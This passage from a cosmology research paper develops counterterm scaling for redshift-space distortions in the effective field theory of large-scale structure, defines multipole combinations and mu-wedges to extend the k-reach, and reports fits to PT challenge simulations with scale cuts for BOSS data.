Next, we move to the derivative expansion of the stress tensor. Should the scale suppressing the derivatives in~(\ref{eq:stess_tensor1}) be replaced with ${k_{\rm NL,\,R}}$? Let us use measurements again. The higher-derivative term for dark matter was measured in~\cite{Foreman:2015lca} (eq.~(20) again), obtaining the order one number $c_4\simeq 2$ (after adjusting ${k_{\rm NL}}\to 0.6h\,{\rm Mpc}^{-1}$ as the measurements of~\cite{Foreman:2015lca} were done are redshift zero). On the contrary, if we were to use ${k_{\rm NL,\,R}}$ for the derivative expansion of the stress tensor, we would obtain $c_4\to16$, which is not an order one number. We conclude that we should use ${k_{\rm NL}}$ in the derivative expansion for the stress tensor. This is again in agreement with what we would have expected on astrophysical grounds.
A final comment about the stochastic terms. The measurements in simulations and on the data of~\cite{DAmico:2019fhj,Colas:2019ret} do not show any particular enhancement of those terms.
In summary, in agreement with expectation from astrophysical considerations, we find that measurements in simulations and observations seem to indicate that the derivative expansion of any operator is governed by ${k_{\rm NL}}$. Similarly, the size of $\tau_{ij}$ is of order $H^2/{k_{\rm NL}}^2$. On the other hand, expectation values of the velocity field are enhanced and governed by $v^{n}\sim \left(H/{k_{\rm NL,\,R}}\right)^{n}$. This tells us that, in the EFTofLSS, the redshift space counterterms are, in a sense, the largest ones.
\subsection{{Taming} Redshift Distortion Effects}
We now proceed to study how we can use our acquired knowledge to mitigate the effects of redshift space distortions. In the EFTofLSS, when making predictions at a given order, we have an estimate of the next-order corrections, which are the ones that, growing at shorter wavenumbers, limit the $k$-reach of the theory, {\it i.e.} the maximum wavenumber at which predictions can be trusted. In this paper, we will compare the one-loop predictions of the EFTofLSS for the power spectrum against data. The $k$-reach is dictated by two two-loop contributions, which we are now going to explore.
At two-loop order, we can estimate the size of the various contributions by looking at the tree-level counterterms of the same order, and assuming coefficients of order one once the scaling rules described above are applied. At two-loop order, we expect counterterms of the form $k^4P_{11}$. The largest ones are expected to be the ones suppressed by ${k_{\rm NL,\,R}}^4$. Interestingly, these terms come with a definite $\mu$-dependence. In fact, from the scaling {discussed in the previous} subsection, in order to get four factors of $1/{k_{\rm NL,\,R}}$, we need the counterterms for four velocities, as anything else will just {bring} factors of $1/{k_{\rm NL}}$. This means that $1/{k_{\rm NL,\,R}}^4$ can come from the counterterm to this particular `51' contribution at two-loop order (following the formalism of~\cite{Senatore:2014eva}):
\begin{eqnarray}\label{eq:counter1}
&&P_{51}(k,\mu)\supset \frac{k_z}{aH} \frac{k_z}{aH}\frac{k_z}{aH}\frac{k_z}{aH}\langle\left[v^z v^z v^z v^z \left(\delta_{g}-\frac{4!}{5!}i\frac{k_z}{a H}v_z\right) \right]^{(5)}_{\vec k} [\delta_{g,r}]^{(1)}_{\vec k'}\rangle'\\ \nonumber
&&\qquad\to \left(\frac{k}{{k_{\rm NL,\,R}}}\right)^4\mu^4 \left(b_1+\frac{1}{5}f\mu^2\right) \left(b_1+f\mu^2\right) P_{11}(k)\ ,
\end{eqnarray}
where $[{\cal{O}}]^{(n)}_{\vec k}$ means that we take the wavenumber $\vec k$ of operator ${\cal{O}}$, evaluated at order $n$ in perturbation theory, $\langle\ldots \rangle'$ means that we drop the momentum-conserving Dirac $\delta$-function, and $\delta_{g,r}$ is the galaxy overdensity in redshift space. By the symbol $\to$ we mean that the diagram has the counterterm on the right of the arrow. To obtain this result, we simply substituted $\langle v^i v^j\rangle\to\delta^{ij} \left(\frac{a H}{{k_{\rm NL,\,R}}}\right)^2$. The factor of $4!/5!$ comes from the Taylor expansion of the exponential for the redshift space distortions effect (notice that we are neglecting the $1/4!$ in front of this term).
It is important to stress the following point. The largest {contributions} come from terms enhanced by $1/{k_{\rm NL,\,R}}^4$. These terms are larger than the loops of the theory, which are are just suppressed by the dark-matter non-linear scale, ${k_{\rm NL}}$, that enters in the power spectrum. In particular, this applies to the UV limit of the loops, which is not enhanced by $1/{k_{\rm NL,\,R}}^4$. It is just the UV counterterm that is enhanced. This in particular implies that we know the $k$ and $\mu$ dependence of the higher-order counterterms that are enhanced.
Before going on, let us identify the remaining maximally-enhanced counterterm. It turns out there is only one. We consider the $P_{51}(k,\mu)$ term which generates from this:
\begin{eqnarray}\label{eq:counter2}
&&P_{51}(k,\mu)\supset \frac{k_z}{aH} \frac{k_z}{aH}\frac{k_z}{aH}\frac{k_z}{aH}\langle\left[v^z v^z v^z v^z \right]^{(5)}_{\vec k} [\delta_{g,r}]_{\vec k'}\rangle'\to\\ \nonumber
&&\qquad\to \frac{k_z}{aH} \frac{k_z}{aH}\frac{k_z}{aH}\frac{k_z}{aH}\left(\frac{a H}{{k_{\rm NL,\,R}}}\right)^4 \langle\left[\partial_z \partial_z\Phi \right]_{\vec k} [\delta_g]_{\vec k'}\rangle' \to \left(\frac{k}{{k_{\rm NL,\,R}}}\right)^4\mu^6 \left(b_1+f \mu^2\right) P_{11}(k)
\end{eqnarray}
where in the second step we substituted $\langle v^i v^j\rangle\to\delta^{ij} \left(\frac{a H}{{k_{\rm NL,\,R}}}\right)^2$ and $\langle v^i v^j\rangle\to \left(\frac{a H}{{k_{\rm NL,\,R}}}\right)^2\frac{\partial_i\partial_j \Phi}{(aH)^2}$.
It is easy to realize that the scaling assignments of the former subsection do not allow any other term enhanced by $1/{k_{\rm NL,\,R}}^4$. We therefore obtain two maximally-enhanced terms: $\sim\mu^4 (k/{k_{\rm NL,\,R}})^4P_{11}$ and $\sim\mu^6 (k/{k_{\rm NL,\,R}})^4P_{11}$. There are other enhanced (but not maximally enhanced) counterterms that include a lower-{order} $\mu$-dependence~\footnote{To obtain a given power of $(k/{k_{\rm NL,\,R}})^{2n}$, with $n$ large, one needs a factor of at least order $\mu^n$, suggesting that the effective expansion parameter of the maximally enhanced terms is ${k_{\rm NL,\,R}}/|\mu|$. The Finger of God is clearly pointing at us or away from us.}. For example, by evaluating at one-loop order the one-loop counterterm:
\begin{eqnarray}\label{eq:counter2}
&&P_{31,{\rm counter,\; one-loop}}(k,\mu)\supset \frac{k_z}{aH} \frac{k_z}{aH}\langle\left[v^z v^z \right]^{(3)}_{\vec k} [\delta_g]_{\vec k'}\rangle'\to\\ \nonumber
&&\qquad \to \frac{k_z}{aH} \frac{k_z}{aH}\langle\left[\delta^{zz}\frac{\partial^2}{{k_{\rm NL}}^2} \delta \right]_{\vec k} [\delta_g]_{\vec k'}\rangle'\to b_1\mu^2\left(\frac{k}{\left({k_{\rm NL}}{k_{\rm NL,\,R}}\right)^{1/2}}\right)^4P_{11}(k)\ .
\end{eqnarray}
So, we see that at the level of $\mu^2$ terms, we obtain terms enhanced by $1/({k_{\rm NL,\,R}}^2{k_{\rm NL}}^2)$. However, in this case the functional dependence in $k$ is not known, as the counterterm is not parametrically separated in size from the term that we obtain by evaluating the loop in $\langle\left[v^z v^z \right]^{(3)}_{\vec k} [\delta_g]_{\vec k'}\rangle'$, which would give rise to a more complex $k$-dependence.
Finally, at order $\mu^0$, we do not obtain any ${k_{\rm NL,\,R}}$-enhanced terms.
{\bf Procedure `one-loop':} This {discussion suggests} the following two procedures for enhancing the $k$-reach of the theory. The first procedure, that we call `procedure `one-loop'', is the following. Assuming, without loss of generality, that the measurements of the data are provided in multipoles of the angle $\mu$, we can construct a linear combination of the multipoles that removes the largest two-loop contributions. As we said, these are the ones enhanced by $1/{k_{\rm NL,\,R}}^4$. The resulting linear combination will have a smaller theoretical error and therefore {a} higher $k$-reach. Since these terms have a specific $\mu$-dependence, the linear combination can be constructed independently of the actual size of the terms that we wish to eliminate. Given enough multipoles, one could also remove the $\mu^2$ contribution, reaching an even higher $k$-reach, as in this case all the {subleading contributions} enhanced by $1/{k_{\rm NL,\,R}}^2$ would also be eliminated. Since the data we have at our disposal provide only three multipoles, we decide to remove only the $\mu^6$ and $\mu^4$. This means that we are not removing exactly a contribution with the $\mu$-dependence of (\ref{eq:counter1}), which has also a $\mu^8$ dependence, upon which we will comment shortly. Writing the data as
\begin{equation}
P^{\rm (D)}(k,\mu)=\sum_{\ell=0,2,4} P_\ell^{\rm (D)}(k) {\cal{L}}_\ell(\mu)\ ,
\end{equation}
with $ {\cal{L}}_\ell(\mu)$ being the Legendre polynomial of order $\ell$, the resulting linear combination that projects out the $\mu^4$ and $\mu^6$ dependence, and that we call $P^{\rm (D,\slashed{4},\slashed{6})}$, or for brevity, $\slashed{P}$, is given by the following linear combination:
\begin{equation}\label{eq:Pslash}
\slashed{P}(k)=P_{\ell=0}^{\rm (D)}(k)-\frac{3}{7}P_{\ell=2}^{\rm (D)}(k)+\frac{11}{56}P_{\ell=4}^{\rm (D)}(k)\ .
\end{equation}
While this linear combination does not remove a term proportional to $\mu^8$, which is expected to be present proportional to $1/{k_{\rm NL,\,R}}^4$, notice that a term of the form $1\cdot\mu^8$ gets projected in $\slashed{P}$ as a small number equal to $5/1287\simeq 0.004$, which makes this contribution quite negligible. Evidently, $\slashed{P}$ approximately projects away also a $\mu^8$ component. Similar considerations apply to {the prefactor of an eventual} $\mu^{10}$ term: upon projection, it gets suppressed by a factor of $1/143\simeq 0.007$.
The two-loop contribution given by the $\slashed{P}$ combination of data scales therefore in size approximately as $(k/{k_{\rm NL}})^4P_{11}$ and as $\mu^2(k/({k_{\rm NL}} {k_{\rm NL,\,R}})^{1/2})^4 P_{11}$. Notice, again, that, unlike the contributions in $1/{k_{\rm NL,\,R}}^4$, the $k$-dependence of these {contributions} is not known, as there are comparable contributions from the loops. While naively the contribution to the theoretical error from the term in $1/{k_{\rm NL,\,R}}^2$ is the dominant one, the combination in $\slashed{P}$ highly suppresses also the combination that goes as $\mu^2$. A term of the form $1\cdot\mu^2$ gets projected in $\slashed{P}$ as s small number equal to $1/21$. This is such a large suppression to make the leading theoretical error the one in $1/{k_{\rm NL}}^4$. Therefore, if $\slashed{\sigma}^{\rm (D)}(k)$ is the observational error of the combination $\slashed{P}$, one can impose the theoretical error to be a fraction equal to $\epsilon$ of the observation error (say, $\epsilon=1/3$):
\begin{equation}
\epsilon=\frac{\left(\frac{k}{{k_{\rm NL}}}\right)^4 P_{11}(k)}{\slashed{\sigma}^{\rm (D)}(k)}\ ,
\end{equation}
and determine in this way the $k$-reach of $\slashed{P}$, $k_{\rm max}^\slashed{P}$, by solving the above equation. Notice that we have set the ${\cal{O}}(1)$ numerical coefficient in front of the theoretical error to be equal to one, which is inaccurate, but we cannot do better than this. In practice, we will determine the $k$-reach directly with simulations, though this formula enlightens how the $k$-reach is increased by decreasing the theoretical error.
What to do of the remaining two linear independent combinations of the data? It does not appear worthwhile to eliminate either the $\mu^4$ or the $\mu^6$, as the theoretical error would not be parametrically improved (unless we eliminate both, but that would give $\slashed{P}$). Given a configuration of data in the $\mu$ direction, $P^{\rm (D)}(k,\mu)$, the associated theoretical error is, roughly, $\frac{k^4}{{k_{\rm NL}}^4}\left(1+\left(\mu^4+\mu^8\right)\left(\frac{{k_{\rm NL}}}{{k_{\rm NL,\,R}}}\right)^4\right)P_{11}$, where for simplicity we dropped the $\mu^2 k^4/({k_{\rm NL}}^2{k_{\rm NL,\,R}}^2)P_{11}$ contribution, as it does not matter much. Again, lacking a better procedure, we have put the prefactors to the expressions of the theoretical errors to one. This allows us to write a nice formula for the $k$-reach as a function of $\mu$, $k_{\rm reach}(\mu)$, in terms of $k_{\rm max}^\slashed{P}$:
\begin{equation}\label{eq:kreachbins}
k_{\rm reach}(\mu)=k_{\rm max}^\slashed{P}\cdot\left(\frac{1}{\left(1+\left(\mu^4+\mu^8\right)\left(\frac{{k_{\rm NL}}}{{k_{\rm NL,\,R}}}\right)^4\right)}\right)^{1/4} \cdot\left(\frac{\sigma(k,\mu)}{\slashed{\sigma}^{\rm (D)}(k)}\right)^{1/4}\ .
\end{equation}
Therefore, we divide the resulting two combinations of data in wedges in $\mu$ space, one in $\mu\in[0,1/2]$, that we call $w_1$, and the other $\mu\in(1/2,1]$, that we call $w_2$, and denote the associated $k$-reach with {$k_{\rm max}^{w_1}$ and $k_{\rm max}^{w_2}$}, determined in terms of $k_{\slashed{P}}$ using the formula (\ref{eq:kreachbins}). It is now possible to give a more mathematical interpretation of the combination $\slashed{P}$. This is obtained by noticing that, given the two wedges, the linear combination $\slashed{P}$ is the one that maximizes the signal to noise in the limit in which ${k_{\rm NL}}/{k_{\rm NL,\,R}}$ is very large~\footnote{We also notice that, if we were to divide the data in three wedges instead of two, and neglected the contribution of $\slashed{P}$, the theoretical error of each wedge would receive contributions also from the terms in $\mu^4(k/ {k_{\rm NL,\,R}})^4 P_{11}$, and $\mu^6(k/ {k_{\rm NL,\,R}})^4 P_{11}$. However, for the wedge with $\mu\in[0,1/3]$, the smallness of $\mu$ is such that the error is actually dominated by the real space one, $\left(k/{k_{\rm NL}}\right)^4P_{11}$, as it is for $\slashed{P}$. In fact, we noticed that the correlation of $\slashed{P}$ with the wedge with $\mu\in[0,1/2]$ is already very high. We therefore expect that one would obtain similar results using a suitable choice of three wedges.}.
So far, we have worked assuming that the available prediction for the EFTofLSS was at one-loop order: this is what determined the theoretical error. Generalizations to the case {for which} the EFTofLSS prediction is available at higher orders or for higher $n$-point functions {are} straightforward. This completely defines what we call `procedure `one-loop''.
{\bf Procedure `one-loop+':} All of these considerations suggest that there is a rather straightforward way to improve the predictions of the EFTofLSS at one-loop order. We argued that the maximally-enhanced theoretical error has the simple form of $\sim \mu^4 (k/{k_{\rm NL,\,R}})^4P_{11}$ and $\sim\mu^6 (k/{k_{\rm NL,\,R}})^4P_{11}$ (given precisely in (\ref{eq:counter1}) and (\ref{eq:counter2})), as it comes from the counterterms and not from the loops. Since the functional form is completely known, one can add them to the prediction at one-loop order, to obtain a sort of 1-loop+ order:
\begin{eqnarray}
&&P_{\rm EFTofLSS,\ 1-loop+}(k,\mu)=P_{\rm EFTofLSS,\ 1-loop}(k,\mu)+\\ \nonumber
&&\quad+c_{r,4}\,\mu^4 \left(b_1+\frac{1}{5}f\mu^2\right) \left(b_1+f\mu^2\right) \left(\frac{k}{{k_{\rm NL,\,R}}}\right)^4P_{11}(k
+c_{r,6} \,\mu^6 \left(b_1+f\mu^2\right) \left(\frac{k}{{k_{\rm NL,\,R}}}\right)^4P_{11}(k)\ .
\end{eqnarray}
Notice that since we have two wedges, this {procedure amounts} to add two independent terms of the form $k^4 P_{11}$, with the proper prior, to each wedge.
Now, the theoretical error in the $\mu$ direction is dominated by the terms in $\mu^{2 n} \left(\frac{k}{({k_{\rm NL}}{k_{\rm NL,\,R}})^{1/2}}\right)^4 P_{11}$. Therefore, while the $k$-reach of $\slashed{P}$ is unaltered, the one of the $\mu$-wedges is raised according to the following formula:
\begin{equation}\label{eq:kreachbins2}
k_{\rm reach+}(\mu)=k_{\rm max}^\slashed{P}\cdot\left(\frac{1}{\left(1+3\left(\mu^4+\mu^6+\mu^{12}\right)^{1/2}\left(\frac{{k_{\rm NL}}}{{k_{\rm NL,\,R}}}\right)^2\right)}\right)^{1/4} \cdot\left(\frac{\sigma(k,\mu)}{\slashed{\sigma}^{\rm (D)}(k)}\right)^{1/4}\ ,
\end{equation}
where we added the various $\mu$-dependent contributions in quadrature and the numerical factor `3' has been chosen by optimizing against simulations. This concludes the explanation of procedure `one-loop+', whose generalization to higher orders is straightforward. We now proceed to investigate how both procedures perform on the data.
\section{Results}
\subsection{Likelihood and Priors}\label{sec:lkl}
Having discussed the combination of multipoles which mitigate the effects of redshift-space distortions, we now turn to the data analysis.
We construct our new data combinations, that we will denote $\slashed{P} + w_{1,2}$ in what follows, and refer to it simply as `wedges', starting from the measurements of three multipoles (monopole, quadrupole, hexadecapole), that we will denote, as earlier, as $P_{\ell=\{0,2,4\}}$.
The likelihood is a Gaussian, with the new combinations of data and theory model being a linear transformation of the multipoles (and the data covariance given by a bilinear transformation).
{Explicitly, the transformation is:
\begin{equation}
\begin{pmatrix}
\slashed{P} \\
w_1 \\
w_2
\end{pmatrix} =
\begin{pmatrix}
1 & -\frac{3}{7} & \frac{11}{56} \\
1 & -\frac{3}{8} & \frac{15}{128} \\
1 & \frac{3}{8} & - \frac{15}{128}
\end{pmatrix}
\begin{pmatrix}
P_{\ell=0} \\
P_{\ell=2} \\
P_{\ell=4}
\end{pmatrix} \, .
\end{equation}
}
The theory prediction is given by the galaxy power spectrum in redshift space at one-loop order in the EFTofLSS as described in~\cite{Perko:2016puo,DAmico:2019fhj,Nishimichi:2020tvu}.
The evaluation is performed using \code{PyBird}~\cite{DAmico:2020kxu}.
Explicitly, the one-loop redshift-space galaxy power spectrum reads:
\begin{align}\label{eq:powerspectrum}
P_{g}(k,\mu) & = Z_1(\mu)^2 P_{11}(k) \\
& + 2 \int d^3q\; Z_2({\hbox{\BF q}},{\hbox{\BF k}}-{\hbox{\BF q}},\mu)^2 P_{11}(|{\hbox{\BF k}}-{\hbox{\BF q}}|)P_{11}(q) + 6 Z_1(\mu) P_{11}(k) \int\, d^3 q\; Z_3({\hbox{\BF q}},-{\hbox{\BF q}},{\hbox{\BF k}},\mu) P_{11}(q)\nonumber \\
& + 2 Z_1(\mu) P_{11}(k)\left( c_\text{ct}\frac{k^2}{{ k^2_\textsc{m}}} + c_{r,1}\mu^2 \frac{k^2}{k^2_\textsc{m}} + c_{r,2}\mu^4 \frac{k^2}{k^2_\textsc{m}} \right) + \frac{1}{\bar{n}_g}\left( c_{\epsilon,0}+c_{\epsilon,1}\frac{k^2}{k_\textsc{m}^2} + c_{\epsilon,2} f\mu^2 \frac{k^2}{k_\textsc{m}^2} \right) \, , \nonumber
\end{align}
with kernels $Z_i$ defined in~\cite{Perko:2016puo,DAmico:2019fhj,Nishimichi:2020tvu}, and depending on four EFT-parameters $b_1$, $b_2$, $b_3$, $b_4$.
Here $k_{\rm M} \equiv k_{\rm NL} = 0.7 h\,{\rm Mpc}^{-1}$ as defined in {the} previous section.
In our analysis we vary the cosmological parameters $\Omega_m, h$, $\ln (10^{10}A_s)$, $n_s$ and $\omega_b$ with only a Gaussian prior on the baryon abundance $\omega_b$ motivated from Big Bang Nucleosynthesis (BBN), of width $\sigma_{\omega_b, {\rm BBN}} = 0.00036$~\cite{Mossa:2020gjc}.
For the simulations, we will center the prior on the truth, while on BOSS data, we will use $\omega_{b,{\rm BBN}} = 0.02233$~\cite{Mossa:2020gjc}.
We fix the neutrinos to minimal mass, $0.06 \, {\rm eV}$, as done in the Planck analysis~\cite{Planck:2018vyg}.
As for the EFT parameters, we define the linear combinations $c_2 = (b_2 + b_4) / \sqrt{2}$, $c_4 = (b_2 - b_4) / \sqrt{2}$, and we set $c_4 = 0$ since $b_2$, $b_4$ are almost completely anticorrelated.
Then we define the two combinations $c_{\epsilon, \rm mono} = c_{\epsilon,1} + f c_{\epsilon,2} / 3$, $c_{\epsilon, \rm quad} = 2 f c_{\epsilon,2} / 3$. We put a Gaussian prior of mean 0 and standard deviation 2, $\mathcal{N}(0,2)$, on $b_3$, $c_\text{ct}$, $c_{\epsilon,0}$, $c_{\epsilon, \rm mono}$, $c_{\epsilon, \rm quad}$, and a Gaussian prior of mean 0 and standard deviation 4, $\mathcal{N}(0,4)$, on the redshift-space counterterms $c_{r,1}$, $c_{r,2}$.
As explained in~\cite{DAmico:2019fhj,DAmico:2020kxu}, we analytically marginalize over these seven EFT parameters, as they appear linearly in the power spectrum and therefore quadratically in the likelihood.
Finally, the linear bias $b_1$ has a flat prior $[0, 4]$, and $c_2$ has a flat prior $[-4,4]$.
As explained in {the} previous section, we will analyze the data using two procedures: `1-loop', and `1-loop+'.
For the `1-loop+' procedure, we will add to the theory model, Eq.~\eqref{eq:powerspectrum}, the two counterterms:
\begin{equation}
c_{r,4} \, \mu^4 \, b_1^2 \frac{k^4}{k_{\rm NL,R}^4} P_{11}, \qquad
c_{r,6} \, \mu^6 \, b_1 \frac{k^4}{k_{\rm NL,R}^4} P_{11},
\end{equation}
where $k_{\rm NL,R}^2 = k_{\rm NL}^2/8$, and we marginalize over $c_{r,4}$ and $c_{r,6}$ with a Gaussian prior centered on 0 and width 1.
\subsection{$N$-body simulations}
Before analyzing the BOSS data, we first assess the $k$-reach of the new data combination with varying $k_{\rm max}$'s (we remind we are denoting this combination as $\slashed{P} + w_{1,2}$ and we refer to it simply as `wedges') using $N$-body simulations.
We will stop fitting the data up to the scale where the theory-systematic error $\sigma_{\rm sys}$ stays under control.
As done in~\cite{DAmico:2019fhj}, for each cosmological parameter, $\sigma_{\rm sys}$ is measured as the shift of the $1\sigma$-region to the truth; this can be read from the posteriors obtained fitting simulations.
We will declare the $k_{\rm max}$ of each wedge as the maximum wavenumber of the analysis such that $\sigma_{\rm sys} < \sigma_{\rm stat}^{\rm data}/3$, where $\sigma_{\rm stat}^{\rm data}$ is the error bars of the data we want to analyze, such as BOSS.
\subsubsection{PT challenge}
We first analyze the PT challenge simulations described in~\cite{Nishimichi:2020tvu}~\footnote{More information of the PT-challenge can be found at~\url{https://www2.yukawa.kyoto-u.ac.jp/~takahiro.nishimichi/data/PTchallenge/.}}.
The PT challenge data are the three first even multipoles of the galaxy power spectra in redshift space constructed from 10 $N$-body realizations, each of side length $3.84 h^{-1}$Gpc, sampled with $3072^3$ equal-mass particles, and populated with a BOSS-like {halo occupation distribution (HOD) model.
The measurements from each realization can be averaged into one single power spectrum and a single covariance, corresponding to a measurement in a total volume of about 100 times the volume of the BOSS DR12 sample, making the statistical error of the simulation much smaller than the one associated to any realistic galaxy {survey} at redshift $z \sim 0.6$.
\begin{figure}[ht!]
\centering
\includegraphics[width=0.49\textwidth]{plots/pt_1loop}
\includegraphics[width=0.49\textwidth]{plots/pt_1loop+}\\ \vspace{0.3em}
\scriptsize
\begin{tabular}{|l|c|c|c|c|}
\hline
$\Delta X / X$ & $P_{\ell=\{0,2,4\}}$ 0.14 & $\slashed{P} + w_{1,2}$ 0.26 1L & $\slashed{P} + w_{1,2}$ 0.30 1L+ \\ \hline
$\Omega_{m }$ & $-0.009\pm 0.011$ & $-0.0014\pm 0.0075$ & $-0.0034\pm 0.0070$ \\
$ h$ & $-0.0046\pm 0.0074$ & $0.0019\pm 0.0053$ & $0.0007\pm 0.0053$ \\
$\ln (10^{10}A_s)$ & $0.019\pm 0.013$ & $0.0054^{+0.0078}_{-0.0088}$ & $0.0065^{+0.0074}_{-0.0082}$ \\
$ n_s$ & $0.022\pm 0.018$ & $0.0032\pm 0.0097$ & $0.0050\pm 0.0090$ \\
\hline
\end{tabular}
\begin{tabular}{|l|c|c|c|c|}
\hline
$\Delta X / X$ & $P_{\ell=\{0,2,4\}}$ 0.20 & $\slashed{P} + w_{1,2}$ 0.30 1L & $\slashed{P} + w_{1,2}$ 0.34 1L+ \\ \hline
$\Omega_{m }$ & $-0.0097\pm 0.0078$ & $-0.0079\pm 0.0067$ & $-0.0085\pm 0.0066$ \\
$ h$ & $-0.0040\pm 0.0071$ & $0.0004\pm 0.0051$ & $-0.0012\pm 0.0052$ \\
$\ln (10^{10}A_s)$ & $0.0257\pm 0.0087$ & $0.0235\pm 0.0066$ & $0.0238\pm 0.0068$ \\
$ n_s$ & $0.015\pm 0.011$ & $0.0158\pm 0.0089$ & $0.0187\pm 0.0082$ \\
\hline
\end{tabular}
\caption{\small Triangle plots and 68\%-confidence intervals of the cosmological parameters obtained fitting the PT challenge simulation data with a BBN prior.
{\it Left:} Results of the fit to the multipoles $P_{\ell=\{0,2,4\}}$, up to $k_{\rm max} = 0.14$ and to the wedges $\slashed{P} + w_{1,2}$ up to $k_{\rm max}^{\slashed{P}} = 0.26$ using the `1-loop' procedure (1L), at which the cosmological parameters are recovered at best precision with a negligible theory-systematic error for the simulation volume.
For BOSS volume instead, the theory-systematic error is under control up to $k_{\rm max} = 0.20$ and $k_{\rm max}^{\slashed{P}} = 0.30$, respectively.
{\it Right:} Same as on the left but using the `1-loop+' procedure (1L+) up to $k_{\rm max}^{\slashed{P}} = 0.30$ for the PT challenge, and up to $k_{\rm max}^{\slashed{P}} = 0.34$ for BOSS.
All $k$'s are given in $h\,{\rm Mpc}^{-1}$.
The gray lines represent the truth of the simulation.
{\it Bottom: } Corresponding mean and $68\%$-confidence intervals.
} \label{fig:pt}
\end{figure}
In Fig.~\ref{fig:pt}, we show the best results obtained fitting either the multipoles or the wedges of the PT challenge simulation, {with a BBN prior}.
Let us first discuss the results relevant for the simulation volume.
We will later use the PT challenge simulation to assess the $k$-reach for BOSS.
\paragraph{PT challenge results} We find that we can fit the multipoles $P_{\ell=\{0,2,4\}}$ up to $k_{\rm max } = 0.14 h\,{\rm Mpc}^{-1}$ with marginal theory-systematic error: $\Omega_m$ and $h$ are well recovered within $1\sigma$ and we measure relative theory-systematic errors of $43\%$ on $\ln (10^{10} A_s)$ and of $16\%$ on $n_s$~\footnote{We warn that, however, $\sigma_{\rm sys}$ is not well measured for the PT challenge simulation: we are comparing it to the statistical error measured from the same simulation, and $1\sigma$ shifts are typically {expected}, especially when considering that we are measuring $4$ parameters (and actually varying more than that).
However, for this particular realization we find that the cosmological parameters are all well recovered within $\lesssim 1.4\sigma$ at $k_{\rm max} \leq 0.14 h\,{\rm Mpc}^{-1}$, which has a good $p$-value. We thus do not comment further on this.
When compared to the statistical error obtained on other smaller-volume data, the precision of the measurements of $\sigma_{\rm sys}$ given by the $\sigma_{\rm stat}$ obtained on the PT challenge simulation is then very accurate. }.
\begin{figure}[ht!]
\includegraphics[width=0.99\textwidth]{plots/pt_kmax}
\caption{\small In continuous line, we plot the theory-systematic error $\sigma_{\rm sys}$ relative to the statistical error $\sigma_{\rm stat}$ as a function of $k_{\rm max} \equiv k_{\rm max}^{\slashed{P}}$ measured on the PT challenge simulation fitting wedges $\slashed{P} + w_{1,2}$ using the `1-loop' procedure (1L) or the `1-loop+' procedure (1L+), with a BBN prior, for each cosmological parameter.
The final $k_{\rm max}$ is declared at which $\sigma_{\rm sys}/\sigma_{\rm stat} \simeq 1/3$, which is represented by the grey horizontal line.
The gain in error bars with respect to best results from the fit to multipoles $\sigma_{\rm stat}/\sigma_{\rm stat}^{P_{\ell=\{0,2,4\}}, k_{\rm max}=0.14}$ is given in dashed lines, and the best one can be read off at that $k_{\rm max}$.
As we see, the final $k_{\rm max}$ is constrained by the $\sigma_{\rm sys}$ in $\ln(10^{10}A_s)$.
We also show the determination of the $k_{\rm max}$ for BOSS using the same criterion $\sigma_{\rm sys} \simeq \sigma_{\rm stat}^{\rm BOSS}/3$, where $ \sigma_{\rm stat}^{\rm BOSS}$ is the error bar obtained on BOSS.
} \label{fig:kmax}
\end{figure}
For the wedges, we remind the reader that we change the $k_{\rm max}$ of $\slashed{P}$ and scale the ones of $w_{1,2}$ according to (\ref{eq:kreachbins}) or (\ref{eq:kreachbins2}). In this case, we find that we can fit the data up to much higher {wavenumbers}, substantially improving the error bars while keeping the theory-systematic error under control.
This can be seen in Fig.~\ref{fig:kmax}, where we represent the relative size of the theory-systematic error as a function of $k_{\rm max}$ for each cosmological parameter.
For the `1-loop' procedure, we are able to recover the cosmological parameters up to $k_{\rm max}^{\slashed{P}} = 0.26 h\,{\rm Mpc}^{-1}$ ($k_{\rm max}^{w_{1,2}} = 0.22, 0.11 h\,{\rm Mpc}^{-1}$), with no theory-systematic error.
As it is clear from the Table in Fig.~\ref{fig:pt}, the error bars are greatly improved when going from the multipole analysis to the wedge analysis: comparing the best, theory-error-controlled, results, we find that the error bars are reduced by $33\%$ on $\Omega_m$, $29\%$ and $h$, $37\%$ on $\ln (10^{10} A_s)$, and $47\%$ on $n_s$.
For the `1-loop+' procedure, we can fit the data up to the even higher $k_{\rm max}^{\slashed{P}} = 0.30 h\,{\rm Mpc}^{-1}$ ($k_{\rm max}^{w_{1,2}} = 0.21, 0.14 h\,{\rm Mpc}^{-1}$) with no theory-systematic error.
Compared to the multipoles, we find that the error bars are reduced by $38\%$ on $\Omega_m$, $29\%$ on $h$, $41\%$ on $\ln (10^{10} A_s)$, and $51\%$ on $n_s$.
This represents an improvement over the `1-loop' procedure of about $10\%$ or $15\%$ on the error bars of $\Omega_m$, $\ln (10^{10} A_s)$, and $n_s$.
To summarize, for the PT challenge simulation the error bars on the cosmological parameters are improved by about a factor of two thanks to our new combination of data which allows for varying $k_{\rm max}$'s. Furthermore, the `1-loop+' procedure allows us to analyze more data than the `1-loop' procedure and leads to better results of about $10\%$ or $15\%$ in error bars.
We now turn to assess the $k$-reach for BOSS.
\paragraph{BOSS scale cut from PT challenge} If we instead compare our measurements of the theory-systematic error with the statistical error obtained on BOSS data, we find that the theory-systematic error on the cosmological parameters stays marginally small ($\lesssim \sigma_{\rm stat}^{\rm BOSS} / 3$) up to $k_{\rm max} \sim 0.2 h\,{\rm Mpc}^{-1}$ for the multipoles, as found already in~\cite{DAmico:2019fhj}.
To be precise, we find negligible $\sigma_{\rm sys}$ on $\Omega_m$, $h$ and $n_s$, while we detect a small $\sigma_{\rm sys} = 0.30 \sigma_{\rm stat}^{\rm BOSS}$ on $\ln (10^{10} A_s)$ at $k_{\rm max} = 0.2 h\,{\rm Mpc}^{-1}$.
For the wedges, as it can be seen from Fig.~\ref{fig:kmax}, we find that we can fit the data up to $k_{\rm max}^{\slashed{P}} = 0.30 h\,{\rm Mpc}^{-1}$ ($k_{\rm max}^{w_{1,2}} = 0.25, 0.12 h\,{\rm Mpc}^{-1}$) for the `1-loop' procedure, and up to $k_{\rm max}^{\slashed{P}} = 0.34 h\,{\rm Mpc}^{-1}$ ($k_{\rm max}^{w_{1,2}} = 0.24, 0.16 h\,{\rm Mpc}^{-1}$) for the `1-loop+' procedure.
